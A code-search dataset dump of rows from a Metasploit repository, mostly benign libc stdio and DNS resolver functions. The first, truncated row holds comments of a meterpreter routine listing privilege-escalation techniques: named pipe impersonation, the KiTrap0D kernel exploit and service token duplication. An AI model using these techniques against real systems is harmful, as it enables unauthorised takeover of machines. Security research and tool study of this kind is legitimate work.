] | Attempt to elevate the current meterpreter to local system using a variety of techniques. | [
"Attempt",
"to",
"elevate",
"the",
"current",
"meterpreter",
"to",
"local",
"system",
"using",
"a",
"variety",
"of",
"techniques",
"."
] | [
"// if we are to to use ELEVATE_TECHNIQUE_ANY, we try everything at our disposal...\r",
"// firstly, try to use the in-memory named pipe impersonation technique (Requires Local Admin rights)\r",
"// secondly, try to use the in-memory KiTrap0D exploit (CVE-2010-0232) (Requires Local User rights and vulnerable system)\r",
"// Note: If successfully, we end up replacing our processes primary token and as such cant rev3self at a later stage.\r",
"// thirdly, try to use the in-memory service token duplication technique (Requires Local Admin rights and SeDebugPrivilege)\r",
"// fourthly, try to use the touching disk named pipe impersonation technique (Requires Local Admin rights)\r",
"// if we are to only use a specific technique, try the specified one and return the success...\r"
] | [
{
"param": "remote",
"type": "Remote"
},
{
"param": "packet",
"type": "Packet"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "packet",
"type": "Packet",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
2ce0361aeb3e6db809932670e0c1da2c329554c7 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdio/vfprintf.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | __sprint | int | static int
__sprint(FILE *fp, struct __suio *uio)
{
int err;
if (uio->uio_resid == 0) {
uio->uio_iovcnt = 0;
return (0);
}
err = __sfvwrite(fp, uio);
uio->uio_resid = 0;
uio->uio_iovcnt = 0;
return (err);
} | /*
* Flush out all the vectors defined by the given uio,
* then reset it so that it can be reused.
*/ | Flush out all the vectors defined by the given uio,
then reset it so that it can be reused. | [
"Flush",
"out",
"all",
"the",
"vectors",
"defined",
"by",
"the",
"given",
"uio",
"then",
"reset",
"it",
"so",
"that",
"it",
"can",
"be",
"reused",
"."
] | static int
__sprint(FILE *fp, struct __suio *uio)
{
int err;
if (uio->uio_resid == 0) {
uio->uio_iovcnt = 0;
return (0);
}
err = __sfvwrite(fp, uio);
uio->uio_resid = 0;
uio->uio_iovcnt = 0;
return (err);
} | [
"static",
"int",
"__sprint",
"(",
"FILE",
"*",
"fp",
",",
"struct",
"__suio",
"*",
"uio",
")",
"{",
"int",
"err",
";",
"if",
"(",
"uio",
"->",
"uio_resid",
"==",
"0",
")",
"{",
"uio",
"->",
"uio_iovcnt",
"=",
"0",
";",
"return",
"(",
"0",
")",
";",
"}",
"err",
"=",
"__sfvwrite",
"(",
"fp",
",",
"uio",
")",
";",
"uio",
"->",
"uio_resid",
"=",
"0",
";",
"uio",
"->",
"uio_iovcnt",
"=",
"0",
";",
"return",
"(",
"err",
")",
";",
"}"
] | Flush out all the vectors defined by the given uio,
then reset it so that it can be reused. | [
"Flush",
"out",
"all",
"the",
"vectors",
"defined",
"by",
"the",
"given",
"uio",
"then",
"reset",
"it",
"so",
"that",
"it",
"can",
"be",
"reused",
"."
] | [] | [
{
"param": "fp",
"type": "FILE"
},
{
"param": "uio",
"type": "struct __suio"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "fp",
"type": "FILE",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "uio",
"type": "struct __suio",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
2ce0361aeb3e6db809932670e0c1da2c329554c7 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdio/vfprintf.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | __sbprintf | int | static int
__sbprintf(FILE *fp, const char *fmt, va_list ap)
{
int ret;
FILE fake;
struct __sfileext fakeext;
unsigned char buf[BUFSIZ];
_FILEEXT_SETUP(&fake, &fakeext);
/* copy the important variables */
fake._flags = fp->_flags & ~__SNBF;
fake._file = fp->_file;
fake._cookie = fp->_cookie;
fake._write = fp->_write;
/* set up the buffer */
fake._bf._base = fake._p = buf;
fake._bf._size = fake._w = sizeof(buf);
fake._lbfsize = 0; /* not actually used, but Just In Case */
/* do the work, then copy any error status */
ret = vfprintf(&fake, fmt, ap);
if (ret >= 0 && fflush(&fake))
ret = EOF;
if (fake._flags & __SERR)
fp->_flags |= __SERR;
return (ret);
} | /*
* Helper function for `fprintf to unbuffered unix file': creates a
* temporary buffer. We only work on write-only files; this avoids
* worries about ungetc buffers and so forth.
*/ | Helper function for `fprintf to unbuffered unix file': creates a
temporary buffer. We only work on write-only files; this avoids
worries about ungetc buffers and so forth. | [
"Helper",
"function",
"for",
"`",
"fprintf",
"to",
"unbuffered",
"unix",
"file",
"'",
":",
"creates",
"a",
"temporary",
"buffer",
".",
"We",
"only",
"work",
"on",
"write",
"-",
"only",
"files",
";",
"this",
"avoids",
"worries",
"about",
"ungetc",
"buffers",
"and",
"so",
"forth",
"."
] | static int
__sbprintf(FILE *fp, const char *fmt, va_list ap)
{
int ret;
FILE fake;
struct __sfileext fakeext;
unsigned char buf[BUFSIZ];
_FILEEXT_SETUP(&fake, &fakeext);
fake._flags = fp->_flags & ~__SNBF;
fake._file = fp->_file;
fake._cookie = fp->_cookie;
fake._write = fp->_write;
fake._bf._base = fake._p = buf;
fake._bf._size = fake._w = sizeof(buf);
fake._lbfsize = 0;
ret = vfprintf(&fake, fmt, ap);
if (ret >= 0 && fflush(&fake))
ret = EOF;
if (fake._flags & __SERR)
fp->_flags |= __SERR;
return (ret);
} | [
"static",
"int",
"__sbprintf",
"(",
"FILE",
"*",
"fp",
",",
"const",
"char",
"*",
"fmt",
",",
"va_list",
"ap",
")",
"{",
"int",
"ret",
";",
"FILE",
"fake",
";",
"struct",
"__sfileext",
"fakeext",
";",
"unsigned",
"char",
"buf",
"[",
"BUFSIZ",
"]",
";",
"_FILEEXT_SETUP",
"(",
"&",
"fake",
",",
"&",
"fakeext",
")",
";",
"fake",
".",
"_flags",
"=",
"fp",
"->",
"_flags",
"&",
"~",
"__SNBF",
";",
"fake",
".",
"_file",
"=",
"fp",
"->",
"_file",
";",
"fake",
".",
"_cookie",
"=",
"fp",
"->",
"_cookie",
";",
"fake",
".",
"_write",
"=",
"fp",
"->",
"_write",
";",
"fake",
".",
"_bf",
".",
"_base",
"=",
"fake",
".",
"_p",
"=",
"buf",
";",
"fake",
".",
"_bf",
".",
"_size",
"=",
"fake",
".",
"_w",
"=",
"sizeof",
"(",
"buf",
")",
";",
"fake",
".",
"_lbfsize",
"=",
"0",
";",
"ret",
"=",
"vfprintf",
"(",
"&",
"fake",
",",
"fmt",
",",
"ap",
")",
";",
"if",
"(",
"ret",
">=",
"0",
"&&",
"fflush",
"(",
"&",
"fake",
")",
")",
"ret",
"=",
"EOF",
";",
"if",
"(",
"fake",
".",
"_flags",
"&",
"__SERR",
")",
"fp",
"->",
"_flags",
"|=",
"__SERR",
";",
"return",
"(",
"ret",
")",
";",
"}"
] | Helper function for `fprintf to unbuffered unix file': creates a
temporary buffer. | [
"Helper",
"function",
"for",
"`",
"fprintf",
"to",
"unbuffered",
"unix",
"file",
"'",
":",
"creates",
"a",
"temporary",
"buffer",
"."
] | [
"/* copy the important variables */",
"/* set up the buffer */",
"/* not actually used, but Just In Case */",
"/* do the work, then copy any error status */"
] | [
{
"param": "fp",
"type": "FILE"
},
{
"param": "fmt",
"type": "char"
},
{
"param": "ap",
"type": "va_list"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "fp",
"type": "FILE",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "fmt",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "ap",
"type": "va_list",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
2ce0361aeb3e6db809932670e0c1da2c329554c7 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdio/vfprintf.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | __grow_type_table | int | static int
__grow_type_table(unsigned char **typetable, int *tablesize)
{
unsigned char *oldtable = *typetable;
int newsize = *tablesize * 2;
if (*tablesize == STATIC_ARG_TBL_SIZE) {
*typetable = (unsigned char *)mmap(NULL,
sizeof (unsigned char) * newsize, PROT_WRITE|PROT_READ,
MAP_ANON|MAP_PRIVATE, -1, 0);
/* XXX unchecked */
memcpy( *typetable, oldtable, *tablesize);
} else {
unsigned char *new = (unsigned char *)mmap(NULL,
sizeof (unsigned char) * newsize, PROT_WRITE|PROT_READ,
MAP_ANON|MAP_PRIVATE, -1, 0);
memmove(new, *typetable, *tablesize);
munmap(*typetable, *tablesize);
*typetable = new;
/* XXX unchecked */
}
memset(*typetable + *tablesize, T_UNUSED, (newsize - *tablesize));
*tablesize = newsize;
return(0);
} | /*
* Increase the size of the type table.
*/ | Increase the size of the type table. | [
"Increase",
"the",
"size",
"of",
"the",
"type",
"table",
"."
] | static int
__grow_type_table(unsigned char **typetable, int *tablesize)
{
unsigned char *oldtable = *typetable;
int newsize = *tablesize * 2;
if (*tablesize == STATIC_ARG_TBL_SIZE) {
*typetable = (unsigned char *)mmap(NULL,
sizeof (unsigned char) * newsize, PROT_WRITE|PROT_READ,
MAP_ANON|MAP_PRIVATE, -1, 0);
memcpy( *typetable, oldtable, *tablesize);
} else {
unsigned char *new = (unsigned char *)mmap(NULL,
sizeof (unsigned char) * newsize, PROT_WRITE|PROT_READ,
MAP_ANON|MAP_PRIVATE, -1, 0);
memmove(new, *typetable, *tablesize);
munmap(*typetable, *tablesize);
*typetable = new;
}
memset(*typetable + *tablesize, T_UNUSED, (newsize - *tablesize));
*tablesize = newsize;
return(0);
} | [
"static",
"int",
"__grow_type_table",
"(",
"unsigned",
"char",
"*",
"*",
"typetable",
",",
"int",
"*",
"tablesize",
")",
"{",
"unsigned",
"char",
"*",
"oldtable",
"=",
"*",
"typetable",
";",
"int",
"newsize",
"=",
"*",
"tablesize",
"*",
"2",
";",
"if",
"(",
"*",
"tablesize",
"==",
"STATIC_ARG_TBL_SIZE",
")",
"{",
"*",
"typetable",
"=",
"(",
"unsigned",
"char",
"*",
")",
"mmap",
"(",
"NULL",
",",
"sizeof",
"(",
"unsigned",
"char",
")",
"*",
"newsize",
",",
"PROT_WRITE",
"|",
"PROT_READ",
",",
"MAP_ANON",
"|",
"MAP_PRIVATE",
",",
"-1",
",",
"0",
")",
";",
"memcpy",
"(",
"*",
"typetable",
",",
"oldtable",
",",
"*",
"tablesize",
")",
";",
"}",
"else",
"{",
"unsigned",
"char",
"*",
"new",
"=",
"(",
"unsigned",
"char",
"*",
")",
"mmap",
"(",
"NULL",
",",
"sizeof",
"(",
"unsigned",
"char",
")",
"*",
"newsize",
",",
"PROT_WRITE",
"|",
"PROT_READ",
",",
"MAP_ANON",
"|",
"MAP_PRIVATE",
",",
"-1",
",",
"0",
")",
";",
"memmove",
"(",
"new",
",",
"*",
"typetable",
",",
"*",
"tablesize",
")",
";",
"munmap",
"(",
"*",
"typetable",
",",
"*",
"tablesize",
")",
";",
"*",
"typetable",
"=",
"new",
";",
"}",
"memset",
"(",
"*",
"typetable",
"+",
"*",
"tablesize",
",",
"T_UNUSED",
",",
"(",
"newsize",
"-",
"*",
"tablesize",
")",
")",
";",
"*",
"tablesize",
"=",
"newsize",
";",
"return",
"(",
"0",
")",
";",
"}"
] | Increase the size of the type table. | [
"Increase",
"the",
"size",
"of",
"the",
"type",
"table",
"."
] | [
"/* XXX unchecked */",
"/* XXX unchecked */"
] | [
{
"param": "typetable",
"type": "unsigned char"
},
{
"param": "tablesize",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "typetable",
"type": "unsigned char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "tablesize",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
dde0447c21742ddc6964c2b57422ddf674e73128 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdio/flags.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | __sflags | int | int
__sflags(const char *mode, int *optr)
{
int ret, m, o;
switch (*mode++) {
case 'r': /* open for reading */
ret = __SRD;
m = O_RDONLY;
o = 0;
break;
case 'w': /* open for writing */
ret = __SWR;
m = O_WRONLY;
o = O_CREAT | O_TRUNC;
break;
case 'a': /* open for appending */
ret = __SWR;
m = O_WRONLY;
o = O_CREAT | O_APPEND;
break;
default: /* illegal mode */
errno = EINVAL;
return (0);
}
/* [rwa]\+ or [rwa]b\+ means read and write */
if (*mode == '+' || (*mode == 'b' && mode[1] == '+')) {
ret = __SRW;
m = O_RDWR;
}
*optr = m | o;
return (ret);
} | /*
* Return the (stdio) flags for a given mode. Store the flags
* to be passed to an open() syscall through *optr.
* Return 0 on error.
*/ | Return the (stdio) flags for a given mode. Store the flags
to be passed to an open() syscall through *optr.
Return 0 on error. | [
"Return",
"the",
"(",
"stdio",
")",
"flags",
"for",
"a",
"given",
"mode",
".",
"Store",
"the",
"flags",
"to",
"be",
"passed",
"to",
"an",
"open",
"()",
"syscall",
"through",
"*",
"optr",
".",
"Return",
"0",
"on",
"error",
"."
] | int
__sflags(const char *mode, int *optr)
{
int ret, m, o;
switch (*mode++) {
case 'r':
ret = __SRD;
m = O_RDONLY;
o = 0;
break;
case 'w':
ret = __SWR;
m = O_WRONLY;
o = O_CREAT | O_TRUNC;
break;
case 'a':
ret = __SWR;
m = O_WRONLY;
o = O_CREAT | O_APPEND;
break;
default:
errno = EINVAL;
return (0);
}
if (*mode == '+' || (*mode == 'b' && mode[1] == '+')) {
ret = __SRW;
m = O_RDWR;
}
*optr = m | o;
return (ret);
} | [
"int",
"__sflags",
"(",
"const",
"char",
"*",
"mode",
",",
"int",
"*",
"optr",
")",
"{",
"int",
"ret",
",",
"m",
",",
"o",
";",
"switch",
"(",
"*",
"mode",
"++",
")",
"{",
"case",
"'",
"'",
":",
"ret",
"=",
"__SRD",
";",
"m",
"=",
"O_RDONLY",
";",
"o",
"=",
"0",
";",
"break",
";",
"case",
"'",
"'",
":",
"ret",
"=",
"__SWR",
";",
"m",
"=",
"O_WRONLY",
";",
"o",
"=",
"O_CREAT",
"|",
"O_TRUNC",
";",
"break",
";",
"case",
"'",
"'",
":",
"ret",
"=",
"__SWR",
";",
"m",
"=",
"O_WRONLY",
";",
"o",
"=",
"O_CREAT",
"|",
"O_APPEND",
";",
"break",
";",
"default",
":",
"errno",
"=",
"EINVAL",
";",
"return",
"(",
"0",
")",
";",
"}",
"if",
"(",
"*",
"mode",
"==",
"'",
"'",
"||",
"(",
"*",
"mode",
"==",
"'",
"'",
"&&",
"mode",
"[",
"1",
"]",
"==",
"'",
"'",
")",
")",
"{",
"ret",
"=",
"__SRW",
";",
"m",
"=",
"O_RDWR",
";",
"}",
"*",
"optr",
"=",
"m",
"|",
"o",
";",
"return",
"(",
"ret",
")",
";",
"}"
] | Return the (stdio) flags for a given mode. | [
"Return",
"the",
"(",
"stdio",
")",
"flags",
"for",
"a",
"given",
"mode",
"."
] | [
"/* open for reading */",
"/* open for writing */",
"/* open for appending */",
"/* illegal mode */",
"/* [rwa]\\+ or [rwa]b\\+ means read and write */"
] | [
{
"param": "mode",
"type": "char"
},
{
"param": "optr",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "mode",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "optr",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
39c9dda33cd72c8652b772afbe15bbcf94c6dad0 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/netbsd/resolv/res_comp.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | dn_expand | int | int
dn_expand(const u_char *msg, const u_char *eom, const u_char *src,
char *dst, int dstsiz)
{
int n = ns_name_uncompress(msg, eom, src, dst, (size_t)dstsiz);
if (n > 0 && dst[0] == '.')
dst[0] = '\0';
return (n);
} | /*
* Expand compressed domain name 'src' to full domain name.
* 'msg' is a pointer to the begining of the message,
* 'eom' points to the first location after the message,
* 'dst' is a pointer to a buffer of size 'dstsiz' for the result.
* Return size of compressed name or -1 if there was an error.
*/ | Expand compressed domain name 'src' to full domain name. | [
"Expand",
"compressed",
"domain",
"name",
"'",
"src",
"'",
"to",
"full",
"domain",
"name",
"."
] | int
dn_expand(const u_char *msg, const u_char *eom, const u_char *src,
char *dst, int dstsiz)
{
int n = ns_name_uncompress(msg, eom, src, dst, (size_t)dstsiz);
if (n > 0 && dst[0] == '.')
dst[0] = '\0';
return (n);
} | [
"int",
"dn_expand",
"(",
"const",
"u_char",
"*",
"msg",
",",
"const",
"u_char",
"*",
"eom",
",",
"const",
"u_char",
"*",
"src",
",",
"char",
"*",
"dst",
",",
"int",
"dstsiz",
")",
"{",
"int",
"n",
"=",
"ns_name_uncompress",
"(",
"msg",
",",
"eom",
",",
"src",
",",
"dst",
",",
"(",
"size_t",
")",
"dstsiz",
")",
";",
"if",
"(",
"n",
">",
"0",
"&&",
"dst",
"[",
"0",
"]",
"==",
"'",
"'",
")",
"dst",
"[",
"0",
"]",
"=",
"'",
"\\0",
"'",
";",
"return",
"(",
"n",
")",
";",
"}"
] | Expand compressed domain name 'src' to full domain name. | [
"Expand",
"compressed",
"domain",
"name",
"'",
"src",
"'",
"to",
"full",
"domain",
"name",
"."
] | [] | [
{
"param": "msg",
"type": "u_char"
},
{
"param": "eom",
"type": "u_char"
},
{
"param": "src",
"type": "u_char"
},
{
"param": "dst",
"type": "char"
},
{
"param": "dstsiz",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "msg",
"type": "u_char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "eom",
"type": "u_char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "src",
"type": "u_char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "dst",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "dstsiz",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.